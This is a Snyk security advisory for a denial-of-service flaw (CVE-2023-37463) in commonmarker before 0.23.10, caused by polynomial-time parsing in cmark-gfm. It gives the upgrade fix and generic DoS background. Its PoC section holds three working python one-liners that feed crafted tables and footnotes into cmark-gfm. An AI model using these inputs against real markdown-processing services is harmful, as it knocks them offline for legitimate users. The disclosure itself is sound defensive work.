Denial of Service (DoS) Affecting commonmarker package, versions <0.23.10


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.09% (38th percentile)

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  • Snyk IDSNYK-RUBY-COMMONMARKER-5829860
  • published14 Jul 2023
  • disclosed14 Jul 2023
  • creditkevinbackhouse

Introduced: 14 Jul 2023

CVE-2023-37463  (opens in a new tab)
CWE-400  (opens in a new tab)

How to fix?

Upgrade commonmarker to version 0.23.10 or higher.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). Three polynomial time complexity issues in cmark-gfm may lead to unbounded resource exhaustion.

PoC

python3 -c 'n = 10000; print("|" + "x|" * n + "\n|" + "-|" * n)' | cmark-gfm -e table
python3 -c 'n = 10000; print("|" + "x|" * n + "\n|" + "-|" * n + "\n" + "a\n" * n)' | cmark-gfm -e table
python3 -c 'n = 10000; print("[^1]:" * n + "\n" * n)' | cmark-gfm -e footnotes

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

CVSS Scores

version 3.1